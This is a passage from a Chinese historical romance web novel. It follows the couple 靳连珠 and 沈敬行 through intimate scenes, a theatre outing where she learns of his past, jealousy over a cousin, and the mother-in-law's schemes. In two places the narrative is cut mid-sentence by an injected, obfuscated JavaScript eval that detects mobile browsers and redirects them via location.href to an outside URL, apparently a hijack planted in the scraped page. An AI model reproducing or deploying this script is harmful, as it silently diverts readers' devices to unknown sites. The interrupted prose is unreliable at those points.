靳连珠一眯眼:“原是我误会官人了,该好好赔罪才行。” 靳连珠将“赔罪”二字咬得死,带着一股狭弄滋味,沈敬行并非不经人事的毛头小子,傻了才会听不懂她言下的隐喻。 他眉心一跳,等不及阻拦,她立即就丢掉描眉用的炭笔,捧住他的脸,直直地吻上来。 屋外传来敛秋的声音。他瞅着时辰差不多了,打算叫家主和大娘子到碧波轩见客,刚上台阶就被白芍拦住。 两人一言未发,一对上眼神就懂了里头发生的事情。 敛秋先看一眼天色,虽说已经漆黑了,但这么早就歇下还是头一回。 随即,他窃喜一笑,心中期盼着能早早儿迎来小家主,于是不敢再催,生怕坏了主子们的好事,蹑手蹑脚地退下了。 自然也就无人听见内间那声轻轻地响。 炭笔放在桌子边沿,混乱撕扯间,被靳连珠一不留神扫下去了,骨碌滚到犄角旮旯,直至撞到墙壁才停下。 沈敬行反客为主,胸膛欺压上来,把靳连珠困在怀抱与桌子之间的方寸之地,两指捏住她后颈最脆弱的位置,高挑鼻梁抵着她,闭眼在檀口中放肆横扫,全然不见平素的清贵持重。 靳连珠亦不甘落于下风,总算得以解放的双手三两下拆开系带,瞧见一段白净结实的腰腹,实在馋的厉害,可惜,还没等有所动作,双手便被钳制住了。 沈敬行使得劲儿太大,不知是不是错觉,靳连珠听见自个儿骨头脆响一声。 靳连珠也不是个能忍的人,当即红了眼眶要落泪,还得娇娇怯怯地嗔一句:“官人好狠的心。” 沈敬行:“……” 他本意也没想着让她难受,只是,放任他们再继续胡闹下去,恐怕收不了场,耽误正经事。 内心天人交战一番,沈敬行还是败下阵,动作轻柔的帮她按摩起手腕。 靳连珠顺着梯子爬上去,仗着此刻的沈敬行好脾气,温言软语的哄着骗着,让他又与她纠缠一回。 诚然,靳连珠并不深谙男女之道,可她那些手段使在沈敬行身上尽够了。 一通胡闹之后,沈敬行闷出满头的细汗,衣裳皱巴巴的,狼狈不堪。反观靳连珠衣裳齐整,神清气爽、面色红润,活像个吸食够精气的餍足妖精。 她托着下巴,好整以暇道:“上回入宫,听见别人家的夫妇也会互称表字,反倒是咱们整日官人来娘子去的,显得格外客气生疏。不如咱们也变一变,日后我唤你作‘允执’,你唤我作‘娇娇’怎样?” 允执是沈敬行的表字,平素鲜少有人唤。 他不太适应地皱皱眉,作沉思状,似在掂量。 靳连珠对着沈敬行红艳艳、水润润的唇瞧个没完,揣着故意戏弄他的心思,捏一颗枣子推到他嘴边,娇娇软软地叫:“允执。” “……” 沈敬行浑身一僵,酥麻感直通尾椎骨。 夫妇之间有这些个情-趣倒也没甚,偏让他想起不久前听到的那些肉麻称呼,那声已经到嘴边的“娇娇”如论如何都叫不出来。 沈敬行臊得慌,直接把软糯的枣子囫囵个儿吞入肚,突然起身到外间灌下一盏茶水,飞速拢好衣裳,稍一偏头,用余光瞟着她,嗓音沙哑道:“这里忒热,让人很不舒服。我去院子里等你。” 靳连珠晓得沈敬行难以放下打小习得那套礼义廉耻,也不多加强求,轻笑一声,暂且饶过他了。 - 守在外头的下人们都以为两位主子今儿要早早歇着,灶上的热水一直备着,就等着里头传唤。 却不想,沈敬行突然开门出来,一言不发地立于廊下吹风,脸色铁青,瞧着十分可怖。 不多时,靳连珠也现身了,径直走到沈敬行身侧。 两人偎着不知说了甚么,只见沈敬行用十分不满的目光瞪一眼靳连珠,霍然抬起步子往前走,背影里透着消不掉的恼怒。 靳连珠毫不畏惧,甚至还笑得出来。 她拎着裙摆小跑追上他,一把拽住他的衣袖。 沈敬行仍不看她,步子却变小变慢些许。 靳连珠歪着脑袋打量沈敬行的神色,小声说了一两句好听的软和话。沈敬行抿抿唇,缩在袖子里的手悄然探出来握住她的。 于是,房中那一茬就算揭过去了。 碧波轩刚用完饭,女眷们小坐一会,聊聊天,正预备离开的时候,外头守门的小厮进来传:“家主,大娘子到。” 房中清脆如银铃一般的调笑声短暂停滞一息,未出阁的姑娘家不便见外男,立即起身,纷纷躲到屏风后头。 秦凌莲作为表姑娘,见自家的表哥无需躲避,老夫人向她使个眼色,她心领神会,亲昵地拉着一位长相清秀的姑娘一道去了。 先头只听说东桦府的荣夫人,靳连珠一进门才发现还有旁的女长辈。 这几位对于靳连珠而言是实打实的生面孔,打扮雍容华贵,面相气度不凡,身份定然矜贵。 靳连珠难免怯场,硬着头皮维持表面的端庄,先向婆母问安,再依照着沈敬行的称呼向另外几位见礼。 接下来免不了要说一些场面话,靳连珠不擅长应对,主要是怕行差踏错半步给沈家跌份儿,于是老老实实坐在沈敬行旁边,听着他有条不紊的跟长辈叙话。 忽闻有人唤她,抬头望去,撞入一双锋芒毕露的眸子里。是绥武府的侯夫人,尊姓姓刘,长女乃宜妃娘娘,次子十二岁便随父驻守东北,幼女与靳连珠同岁,生辰晚四个月。 年节入宫时,靳连珠曾经远远见过侯夫人一面,彼时没瞧真切,刚刚跟着沈敬行挨个儿行礼时才辨认出她的身份,与之相关的信息在脑袋里飞速过一遍。 得出个结论:这是个得罪不起的主儿。 靳连珠的态度顿时变得恭敬再恭敬,应声:“侯夫人。” 侯夫人上下仔细打量她一番,随后打着扇,同上首的葛氏谈笑:“你这儿媳,真真儿是个美人胚子,怪不得当个宝贝似地关在家里不让人看。” 这话乍听之下无甚奇怪,却叫靳连珠心里咯噔一声——葛氏厌恶她的原由不计其数,商贾出身和妖孽皮囊并列第一,无可撼动。 果不其然,葛氏眸光微变,极快就掩盖过去了,笑一声作附和。 沈敬行有所察觉靳连珠的局促,听闻有长辈谈起街头的热闹,借势起身告辞,又抢在葛氏追问之前开口解释:“儿子与王大人一早就有约,欲携娘子同去游玩,不好耽误了。” 这借口找的相当漂亮。 满屋的女眷自然用不着沈敬行应酬,夫妇共赏新春盛会,谁人能有说头? 葛氏亦有言在先,儿媳患病不便见客,如若这会子发话留她接待,岂不打自个儿的脸? 他一句话,堵得葛氏一口气卡在胸腔里上不来下不去,偏偏有客在此无法发作,还得硬撑着挤出一张笑脸,装作慈母的样子让他们只管去玩。 既如此,沈敬行也没客气,行罢礼,罕见的于人前牵起靳连珠的手。 靳连珠讶然,小力甩了甩,没甩开,她担忧旁人看出端倪,遂不敢再动弹了。 离去时,靳连珠无意往屏风后头瞭一眼,发现除去秦凌莲,竟有五六个花朵儿般娇妍的姑娘在。 若在对面另立一架屏风,被不知情的人瞧见,恐怕会以为是适龄男女借沈家的场子彼此相看来了。 这念头只在脑中盘旋一瞬,出了门儿,立即消散的无影无踪。 靳连珠心下了无顾忌,回握住沈敬行的手。 方才还坦坦荡荡的人,这会却难为情起来。以防跟着的仆从听见闹笑话,他略微俯身,低声命令她松开:“这样太不像话。” 靳连珠嘿一声,没心没肺地笑:“只许你牵着我,就不许我效仿?” 沈敬行被噎得无话可说。 马车停靠在西侧门,夫妇二人上车,只留白芷和一个懂些拳脚的小厮跟着。 街头的确像听说得那样热闹非凡,靳连珠掀开车帘一角往外窥探,眼底映着璀璨星光,樱桃小口半张着,一路上就没合拢过。俨然兴奋到极点了。 甄宛筠差人捎口信儿来,约他们在清风坊见。 靳连珠不知那是个什么地方,好奇地询问沈敬行,他略一思忖,说是个听曲儿看戏的坊子。 靳连珠就爱凑这样的热闹,拊掌夸道:“那可真是个宝地。” 沈敬行无可奈何,托着靳连珠的手接她下车,耳畔随即炸开一声刺耳地叫:“娇娇!我在此等候你多时了,你可算来了。” 话音未落,搭在他掌心的小手嗖得离去,再一转眼,靳连珠已经跟甄宛筠牵在一起了。两人肩并着肩,有说有笑的,十分亲昵,齐齐往楼上雅间走。 沈敬行愣了一瞬,转头对上王濮存苦涩万分的表情,嘴角轻微一勾,无可奈何地摇摇头,与他一道跟上娘子们的步伐。 甄宛筠闲来无事便到此地消遣,久了跟老板混得熟,人家便把最中间视野极佳的雅间一直给她留着,且不收额外的银子。 上楼的途中,靳连珠才从甄宛筠口中了解到,能在清风坊谋生计的皆为天下最著名的艺人,而且,这里头的表演五花八门,小唱、嘌唱、讲史、讲小说、舞旋、傀儡戏以杖头傀儡及药发傀儡最出彩。 他们来得晚了一些,没赶上头回小杂剧,放眼望去,堂里观者人山人海,现下正在表演杂办,逗得众人开怀大笑。 靳连珠落座之后专注地看了一会儿。 期间有小厮送来胶枣、召白藕、鹏沙元之类的果干,还有猪羊荷包、玉板鲊之类的方便熟食。卖相极佳,香味扑鼻。 靳连珠晚饭吃得很饱,承不住甄宛筠的热情,又用了几口,肚子实在撑得厉害,连戏也听不进去了,便跟着甄宛筠到窗边站着聊天。 甄宛筠砸吧砸吧嘴里的酒,觉得好喝,遂唤小厮再去温一壶。 无奈被王濮存发觉念头,拦下来说不许。 甄宛筠心里头不爽快,啧了一声正要发难,眼神往旁边一瞥,突然冒出一句:“沈敬行竟然愿意陪你到清风坊来游玩,当真稀罕。” 靳连珠纳闷:“官人不喜欢这儿吗?” 说完自个儿就先回神了。 依照沈敬行一贯的作风,愿意才是有鬼了。 甄宛筠却道:“应该不是不喜欢,而是不能来。” 靳连珠一顿,听她继续说:“沈敬行少时跟现在大不一样,性格稍活泼些,也爱凑热闹,常常跟着官家偷溜去蹴鞠锤丸、雅集诗会之类的场子。后来家里管得严,他就鲜少出门了,性格也变得沉闷枯燥,整日憋在书房里用功。我家官人已算得勤勉刻苦,但与沈敬行相比,相差不止一星半点。” 靳连珠与沈敬行初见时就觉得他十分内敛,再之前的事儿不曾听他讲过,便猜测道:“许是公公去世之后,整个沈家的荣辱都压在他肩上,担子太重了,就没心思再玩乐了。” 甄宛筠酒意上头,脑袋晕晕乎乎的,没法子思考太多,凭借着本能反驳说:“那会儿沈大人还在呢...” “我从前与沈敬行走得不近,许多事不知内情,成婚之后听官人无意间提过一嘴,说他是为一件了不得的大事跟上亲争论起来,挨了罚,之后就被严加管束起来了。” “——这事儿,沈敬行没跟你说过?” 靳连珠面上滑过一丝尴尬的神色。 沈敬行从不与她谈心,许多事她不问,他是绝对不会开口的。就好像,没必要让她到他已经过去的人生里走一趟。 勉强压下这份不畅快,靳连珠借口说她醉酒了,不动声色地掀过这一茬,扶着甄宛筠坐回去。 方才那壶酒价格不菲,滋味醇香,后劲也足。甄宛筠大抵是真醉了,面上浮现出两坨红,懒洋洋地靠着靳连珠的肩膀,有一搭没一搭跟她话起家常。 聊着聊着,话题就拐到儿时的趣事上。 “别看我家官人端的那副死人脸,其实跟沈敬行一样,怕苦嗜甜,矫情的很。多年前,永平城内有一道叫作梅花饼的点心,味道极好,他俩没少买着吃,后来买不着了,干脆就在院子里种了一棵梅花树,打算自个儿做着吃。” 靳连珠乐津津地笑:“珍味阁里就有,怎么会买不到?” 甄宛筠砸吧砸吧嘴,似乎还能品得出那道久远的香气,含糊地喃喃:“后来买的,都跟那时候的味道不一样了。” 靳连珠起初还笑着,可渐渐地,就笑不出来了。 只因着,有一桩原本没往心底里记的小事突然涌入脑海。 那位表姑娘刚到府上的时候,她正生着病,无意间撞见在表姑娘身边伺候的老媪剪下不少梅花,做成的梅花饼往碧波轩、雅韵轩各送一份。 后来,也往书房送过一份。 靳连珠并非介意送点心这件事。 而是—— 沈敬行曾经当着面儿,异常严肃的告诉她不许靠近书房。 彼时靳连珠刚嫁入门。作为新妇,得知官人入夜之后还在处理公务,做份夜宵前去体谅一下,本身没甚么可置喙的。 当她持着一碗银耳羹,在外头等了又等,没等到沈敬行,预备把羹汤放在他案头就走,没成想,一只脚没迈入门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096251|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被不知道从哪儿冒出的沈敬行给拽住了。 他的力道忒大,靳连珠猝不及防,一个踉跄,险些栽倒在地。 亏得背脊撞上门框才能稳住身形,只是她在小厨房耗三四个时辰才做成功的羹汤洒了一地,淋湿她火红的裙角,弄脏了缎面绣鞋。 沈敬行却仿佛没看见,扶也不扶她一把,脸色差得仿佛结冰,厉声道:“往后不许再往这边来。” 靳连珠从未见过沈敬行这副色厉内荏的模样,登时被吓愣住,真以为自己做错了事,拎着脏污的裙子灰溜溜地逃了。 所以,这些年,碰上沈敬行宿在那边的时候,靳连珠连个下人都不敢派过去送些宵夜之类的,可表姑娘的一碟子点心就这么轻而易举的进入书房了。 靳连珠内心百感交集,一时之间不知道该哭还是该笑,就这么木着一张脸,心道:究竟该怪她这个大娘子做的不称职,连官人的口味都不晓得,还是该怪沈敬行这个官人做的太差劲,始终不肯与她交心。 楼下的热闹从未间断,甄宛筠依偎着她,安静到像是睡着了。 直到有小厮上前添茶,甄宛筠懒散起身去抓盘子里的果子吃,顺便塞给靳连珠一把。 靳连珠无知无觉地塞入嘴里,舌头不晓得怎么回事竟然麻的厉害,什么味道都尝不出来。 她随便咀嚼两下就咽掉,一连往嘴里塞了七八颗,涨得肚子疼,想吐,脑袋也不太清醒了,脱口问:“你与王大人,是为着青梅竹马的情谊才成婚的?” 甄宛筠狂放惯了,可突然提及王濮存,也难得露出小女儿的娇怯一面。她吭吭哧哧半晌,很含糊地嗯一声:“应当吧。” 靳连珠难受的厉害,使劲儿揉一把心口,又问:“那为什么,我家官人没与表姑娘成婚?” “因着他心底有你呗。” 甄宛筠嘿嘿一乐:“沈家的长辈很想他们结亲,可惜情爱一事最强求不得。此前,我一直以为他清心寡欲的,是个不会开窍的主儿,没成想这厮眼光如此狠辣,一娶就娶了你这个天仙人儿。” 甄宛筠彻底醉了,什么话都说得出来,想凑过去拉靳连珠,可脚下虚浮的厉害,身子一歪,眼瞅着就要摔倒。 靳连珠急匆匆去扶,不小心撞倒酒壶。 酒水淌了满桌又流到地上,醇香味儿霎时充斥着整个雅间。 坐在后头的两个男子见状立即上前,各自扶住各自的娘子,仔细检查一番,确认没有受伤才松出一口气。 甄宛筠醉成这样子,戏是看不下去了。王濮存捞起她的腿弯,稍一用力把人拦腰抱起,向他们告辞,先行离去。 靳连珠盯着他们的背影,怔怔看了半晌,不知发什么神。 紧接着,被沈敬行的声音拉回一丝神智:“还走得动不?” 靳连珠放眼望去皆重影,干脆阖上眼皮,倒入他怀中,诚实道:“不成。” 本以为这样就会让沈敬行心软抱她,没成想,沈敬行丝毫不为所动,拎着她一条胳膊,手臂虚环着她,半拖半搂的带到马车上。 靳连珠本就不适,晃荡一遭险些吐了。 她弯着腰,手捂着心口,眼眶通红,泪花直打转,看得沈敬行也跟着难受。 无奈他实在不会照顾人,撩起帘子欲唤白芷上车伺候,猝不及防的被靳连珠捂着嘴拽回去,温软的唇印到他脖颈上,酒味儿扑面而来。 沈敬行闻不得这味道,眉头紧紧皱着,身子倒是十分诚实——反手捞住她的腰肢,以免她滑下垫子。 嘴上斥责:“你的药还没断,不能饮酒。出来玩一遭就把郎中的叮嘱忘个一干二净,身子不想要了?” 靳连珠没吱声,默默放开他,十分规矩地缩到角落去了。 路途颠簸,再加之街道上人山人海,马车行进的慢,靳连珠每挨一下颠,脸色就变得苍白一分。尽管如此,她仍咬紧牙关不肯出声。 最后还是沈敬行不忍心,主动伸长胳膊把她揽过来,不怎么熟练地捋着她的背脊帮她顺气,轻叹:“我想了想,方才在清风坊没见你喝酒,应该是那几颗果子闹得事儿。” 最近城内流行的新花样,用果子泡酒,口感更脆更香。 “回去之后饮一碗醒酒汤再睡。” 靳连珠一言不发,睁开眼睛定定地看着沈敬行。 那目光怅然万分,像是透过他回忆什么伤神的往事,没得让他联想起她年节之前生的那场大病,不禁后怕起来。 沈敬行摸了摸她因为醉酒有些发烫的面颊,循循善诱:“是真的吃醉酒了?还是被别的什么弄得不开心了?” 可是除了他,还有谁,有这么大的能耐牵动她的思绪呢。靳连珠复又阖上眼,有几颗细小的水珠挤出来,挂在睫毛上,晶亮晶亮的。 她幽幽地叹:“你长得真好看,任凭谁瞧了能不喜欢。可是,老天为什么非要让我看见你呢?” 这话没头没尾的,沈敬行难得糊涂:“嗯?” 靳连珠没解释,攥着他衣领把人往下拽。 当唇贴上时,沈敬行明显不愿在外胡闹,伸手就要把她推开,却听她含糊说:“官人,我们要个孩子,成不成?” 沈敬行动作止住,眼睛倏然瞪大,情不自禁的回忆起方才在清风坊里,王濮存说为着子嗣,打今儿起就把酒戒掉的言论。 当时他分明也起了心思的。 要个孩子。 要一个像他,亦像靳连珠的孩子。 到时候,他们之间便多了一份羁绊,这个家就更像个家了。 沈敬行只是设想,一颗心就激动的乱了拍。 身子比他的心思更热切,几乎当即就给出了反应,显得他嘴上的犹豫很不真实:“你的病还没养好。这事,不急。” 饶是早有准备,靳连珠还是禁不住心凉了一下,随后,被她不露声色地遮掩过去,含糊应声“都听官人的”。 趁着他愣神的那瞬间,她抬起下颌,黏黏糊糊的又亲上去了... - 靳连珠记不清衣裳是怎么被剥落到地上去的了,两只莲藕臂揽着沈敬行的脖颈,松松垮垮,要掉不掉的,存心勾着他往前凑。 待沈敬行接住她,又耍赖要他抱着不许松开,一声更比一声娇地唤:“官人,好官人,你发发慈悲,快疼疼我罢。” 美人醉灯下,左右流横波。 忒像个妖精。 沈敬行身躯一震,熊熊烈火烧毁心智,一把掀她滚入重重纱幔之中。 一阵天旋地转之后,靳连珠五脏六腑都在翻腾,晕的想吐。 席间吃得那几个果子在酒里泡了许久,效用好生骇人,她醉的厉害,脑袋浑浑噩噩,浑身跟发烧似的滚烫。 偶有一阵凉风吹入层层床幔中,化作一只冰冷的大掌,抚在她肩胛骨上。 靳连珠努力睁开迷蒙的双眼,一边叫着官人,一边微抬身去亲他。 沈敬行则目光清明,低着头承接她毫无章法的吻,指尖细细摩挲她后背突起的骨头,含糊不清地叹:“太瘦了。” 闻言,靳连珠暂时与他分开一段距离,噘着绯红的唇,嘁声:“瘦些好,瘦些才美呢,官人没听过‘芙蓉面,杨柳腰,无物比妖娆’的说法?” 沈敬行只顾揽着她,一不留神,被她一嘴尖牙咬出许多个深深浅浅的印子,很是狼狈不堪。 偏他不叫疼,一双眼眸清亮,很不解风情地答曰:“诸如此类的都是混账话,你没必要为着虚无的由头平白糟践身子。” 靳连珠似是没听见他说什么,使劲儿扯开碍事的被褥,一脚踹下榻。无奈又被沈敬行捞回来,严严实实地捂在两人身上,不肯泄露一丝春光。 靳连珠抗议:“热。” “热也得捂着,你的病才好没多久,再经不起折腾了。” 狠狠喘上一口气,沈敬行唤回些许理智,用掌心锢住她。 没料到靳连珠先一步攀住他的肩膀,效仿他的手法,指头沿着嶙峋椎骨一节节摸过,带起一路浓烈的火焰。 沈敬行到底没抗住这份磋磨,有那么一瞬忘却君子教养,只想与她共赴云雨。 靳连珠眼都红了,脖颈也扬起来,思绪莫名其妙的返回方才的话题上去了,也不知她寻思到哪一点,眼角眉梢都泛起委屈:“可是,如若没有好皮囊,官人就不会心悦我了。” 沈敬行一梗,垂首睨她,明显不悦道:“我并非那样的人。” 靳连珠顺势追问:“那官人缘何心悦我,想娶我为妻?” “……” 鬼使神差的,沈敬行脑中浮现出她笑颜如花的样子,晃了他的眼睛,也迷了他的心智,让他从此牵肠挂肚,情难自抑。 可他刚才说过自己并非贪色之人,一时之间竟然不知该如何作答,干脆埋头,一声不吭的开始动作。 这一下下的实在狠厉,靳连珠魂魄丢了,神智也散了,哪还管得上旁的。 她紧紧搂住沈敬行的脖颈,没控制住流下两行清泪,很快就没入鬓间消失不见,没叫他发觉分毫异样。 16. 第十六回 翻云覆雨过后,酒意随着汗水蒸发差不多了,再加之先前饮过醒酒汤,靳连珠整个人精神的不行,沐浴过后拢着衣裳拉沈敬行坐到美人榻上叙话。 内间仅燃着一盏灯,光线昏暗,照在她侧脸,美得朦胧,像是半梦半醒间乍然瞥见的仙子。格外不真实。 沈敬行意乱情迷,万万无法拒绝。 在她靠过来的同时,他敞开怀抱接住她,顺道拉过薄衾盖住两人,只是心底还记挂着她反常的态度,于是直接了断地问:“今夜,缘何不快?” 靳连珠梗了一下。 原本被欢爱打散的忧愁又丝丝缕缕地缠上来。 纵然他们是夫妻,有过最亲密无间的时候,可心仿佛隔着几万里远,中间隔着重重叠叠的山峦。 沈敬行勘不破夫妻之间的相处之道,偶尔兴致上来了会问一嘴,但大多数时候都是不闻不问的,只当她是花圃里最寻常的一朵,反正有人照料着,出事也烦不到他那儿去。 日子一长,靳连珠不禁开始怀疑起沈敬行的真心,也不知道面对他的时候该怎么自处了。 许是近来他与以往疏远的态度大相径庭迷失她的心窍,让她变得乐观起来,以为日子变好了,转而一件微乎其微的小事又把满腹惆怅勾起。 他们这对夫妇呀,恐怕全天下寻不出第二对了。 靳连珠捏捏他的手指,轻声说:“没什么要紧的。人喝醉了,难免多愁善感,看见天上的月都要哭一哭为什么不圆。” 沈敬行沉思一会,忽略她敷衍的回答,又问:“甄宛筠胡诌什么了?” 这下,靳连珠实打实地笑出声来:“你俩不对付吗?她直唤你的名讳便罢了,我还是第一回见你这般不知礼数。” 岂料沈敬行还真就点了头:“从前是有些龃龉。” 靳连珠一下来了精神,双手撑着他的大腿稍微直起身,眼神清凌凌的,晃着他催促:“说来听听。” 沈敬行抿嘴,不知该从何讲起。 其实并非了不起的大事。 甄宛筠打小就是家里人的掌上明珠,样子养得无法无天,混不似个闺秀的样儿。学会跑之前先学会爬树,年岁稍长一些便成了管不住的泼猴,天天攀高,四处凑热闹。 偶尔一次,她丢的石子恰巧砸到沈敬行脑门儿上,当即就见血了。吓得甄宛筠连连作揖赔罪,沈敬行不欲与她计较,得到一声道歉就走了。 不知怎的被甄家的长辈得知此事,押着甄宛筠上门赔罪。 沈敬行当时陪王濮存住在学堂里,不知道老夫人一气之下说了甚么过分的言论,从此之后,甄宛筠愈发看他不顺眼,但凡见面就得冲着他冷嘲热讽一顿。 靳连珠心疼极了,摸摸他光洁的额头,问:“那后来是怎么改善关系的?” 沈敬行坦白:“因着我与王濮存关系不错,她心仪王濮存却不知该怎么搭讪,便把主意打到我身上来了。” 那阵子,沈敬行的书桌上总是莫名其妙多一些话本子、果干蜜饯、弹弓编织物之类的,弄得学堂里沸沸扬扬,都说有天仙下凡向他献殷勤来了。 沈敬行一心只求学问,对此不感兴趣,直接吩咐敛秋把东西都扔掉。 当天放学,他就被气势汹汹的甄宛筠堵住讨要说法,才知晓那些东西是要经过他的手转交给王濮存的。 靳连珠忍俊不禁:“那误会可大了。” 沈敬行看她笑,心情也好,眼中闪着灼灼曦光,温和道:“无妨,我尽量寻着一模一样的给王濮存补上了。” “这么说,他俩能成婚,里头也有你的一份功劳喽。” 这倒是沈敬行从未想过的。 他略一忖度,颔首:“或许吧。” 靳连珠喜欢听他说这些凡俗小事,尤其是发生在他们还没认识的时候。她知道了,总觉得自己从未缺席过他的人生,于是哄着他再多说一些。 沈敬行却缄默了。 他脑袋里只有那间陈设简单的书房,枯燥的礼仪,沉重的文字,难闻的檀香,立在一旁从早到晚盯着他的文曲星圣象... 耳畔充斥着家族耆老的警告。 不许穿颜色艳丽的衣裳,不许学学堂里的男子往冠上簪花,不许贪嘴多食,不许对美艳女子暗藏爱慕之心,不许沉迷享乐... 要克己复礼,要勤学苦读,要光耀门楣,要延绵子嗣... 总结起来便是: 克制克制,再克制。 勤奋勤奋,再勤奋。 与靳连珠成婚之前,沈敬行每一日都是这么度过的,他当真想不出什么能哄得她绽放笑颜的趣事。 许是沈敬行沉默的太久,靳连珠等不及了,捂着嘴打了个长长的哈欠,困倦极了,催促:“官人。” 沈敬行回神,俯身抱起她上榻,落下帘子准备歇息。 旋即听她说:“怎么不接着讲了。” 沈敬行有些无奈:“不是困了吗?” 靳连珠瞪大眼睛,趴在他胸口让他看清楚:“没困呢,官人莫要栽赃我。” 沈敬行默了一默,问:“你想听什么。” “随便,什么都行,我只想多了解官人一些。” 靳连珠拱上去,主动贴一贴他湿热的薄唇,委屈巴巴地哼:“今日方知官人并非一直是冷性子,儿时也热切过。也不止官人喜欢吃梅花饼,院儿里的梅花为此才栽种的。旁人都知晓的事情,我这个做娘子的却一概不知,太荒谬了。” ——哦。 沈敬行心道:原是为这个不高兴。 但也不怪他不坦诚。 实在是从未有人关心过细枝末节的小事,故而他也不清楚这些原来是值得拿出来说道的。 沈敬行斟酌片刻,说:“幼时性子确实顽劣过几年,那会发疯似地想从武,被双亲一顿斥责,关几天禁闭,慢慢地就收敛性子,一心求学,不再妄为了。梅花饼,无非是当时图个新鲜滋味,真栽下这棵梅花树反倒不爱吃了。” “是么。” 靳连珠不信:“表姑娘送去的一碟子梅花饼,你可是都吃完了的。” 沈敬行仔细思索一番,不得答案,奇怪:“什么时候。” 靳连珠挠挠头,只说记不清了。其实是怕说得太清楚,使得沈敬行误认为自己暗中监视他,又惹得不痛快,白瞎得之不易的温馨时光。 不成想,沈敬行还是误解了她的意思。 “母亲那边我已经摊开说明白了,年后便送表妹归家。如若母亲想给表妹在皇城寻一门亲事,能帮得上的地方,我亦会尽力帮忙,但总归是不能让她一个未出阁的姑娘继续在沈家住了。” 靳连珠略窘迫地挠腮:“嗯,我倒也没怀疑你。” 沈敬行瞟她一眼,义正言辞道:“家祸多由内宅不宁引起,我无心美色,娶妻足矣,委实不必纳妾。” 靳连珠被他哄得美滋滋,让眼前一时的温情迷失头脑,先头介意的事儿轻易就放下了。 她恳恳切切地答应着,拉着他温存一会子,气喘之余,又担忧起来。 “寻常官宦家里哪有不纳妾的,况且沈家就你一个男丁,子嗣上总得着急。日后我若是迟迟不见有身孕,婆母或者沈家长辈硬要往你房里塞人,我可没那么大的权力拒绝,传出去落个不贤不孝的妒妇名声,犯了七出之罪,沈家万一把我休了怎么办?” 绕了这么大一个圈子,靳连珠总算问出了心底最想问的。 而沈敬行毫不犹豫,答曰:“你安心。” 三个字不轻不重地落在靳连珠心上,莫名其妙就让她定下神来。靳连珠乖乖地应道:“好。” 大抵是她这副俏生生的模样勾动他的心弦,他红了耳廓,亏得黑夜作掩盖没让她窥去破绽。 沈敬行抿抿唇,双手绕过她身侧,抓着被子边沿拉高,声如蚊蝇般许下允诺:“今日你提的那事,待养好身子再实施。” 靳连珠眼珠机灵一转,笑吟吟的,明知故问:“来得及?” 要个孩子有什么来不及的。沈敬行担心她又给自己下套,不敢轻易踏进去,唯恐今夜也没得睡,于是囫囵嗯声,一板一眼道:“快些歇着。” - 小小波折过去,夫妇俩的感情肉眼可见的热切起来,不出几日,房中就算白天也不会留人伺候了。 大概是人逢喜事精神爽,靳连珠的身子肉眼可见的好转,请严良平把过脉,确认无事便不再饮汤药了。 无人知晓,严良平临走前给沈敬行留下一瓶药膏,被靳连珠发现,诱着他道出用处,两人皆闹了个大红脸。 待到日头落下,黑夜蔓延,万籁俱寂之时,唯有帷幔内的一方小天地动荡不断,处处弥漫着药膏的芳香。 这感觉噬魂夺魄,实难抗拒。两人尝到快活之后俱是难以把控,混乱至天明才歇下,一觉睡到黄昏,用饭之后不经意的一个对视,不晓得触碰到哪件隐晦的心事,靳连珠主动推着沈敬行又滚到纱幔里去了。 沈敬行对自己的放浪形骸唾弃至极,偏那抹馨香落入掌心之中又推脱不开。 他内心天人交战,良久得不到一个结果,就这么跟她没日没夜的厮混一两日,总算等到外出的机会。 雅韵轩里人人面带喜气,私以为按照这个阵仗,过不多久大娘子就该有身孕了。碧波轩紧随其后得到消息,反倒气得老夫人摔碎一只建盏,午饭也没顾得上吃,吩咐周妈妈把靳连珠叫到跟前儿来。 周妈妈独自去,独自回来。 她跪在下头,抬起眼皮小心翼翼地瞅着老夫人的脸色,胆颤心惊地回话:“雅韵轩那边的下人说,今日元宵盛会,大娘子一早就出门去赴约了。” 葛氏轻蔑地翻个白眼,不屑道:“满永平城内,哪家的女眷认得她,肯与她结交?她又能去赴谁家的约?” 周妈妈更低声答:“礼部王大人家的娘子。” “甄氏女。”葛氏眼前立即浮现出那张天不怕地不怕的嚣张面孔,心烦地呷一口茶,扯唇一笑:“那也是个为非作歹的货色。” 说完这句,葛氏看上去仿佛心绪平稳不少。 周妈妈脑筋一转,明了了。 席间诸多人,难免有几句风言风语传入大娘子耳朵里,她又是个多思多疑的,回来之后怕是又免不了伤怀。往严重说,恐又得生一场大病。 既在病中,怎么能伺候家主。 至于家主那边,就更好说了。工部事多如牛毛,日后忙起来,哪里还顾得上儿女情长。 思及此,周妈妈立即唤人去置备席面,趁屋中无人的机会,上前同葛氏耳语:“绥武府的大郎邀家主赴宴,夫妻两个一道出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101382|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门,想必晚上也会一道回来,难保大娘子碰不上荣家二姑娘。” 葛氏眼中闪着阴鸷的光,阴冷道:“不管她碰不碰得上,这都已经是板上钉钉的事儿了,早晚要知晓的。她难不成还想做个违逆上亲,不贤不孝的妒妇?到时候,就算我儿不允,沈家的耆老们也容不下这么一个女子占着当家主母的位置。” 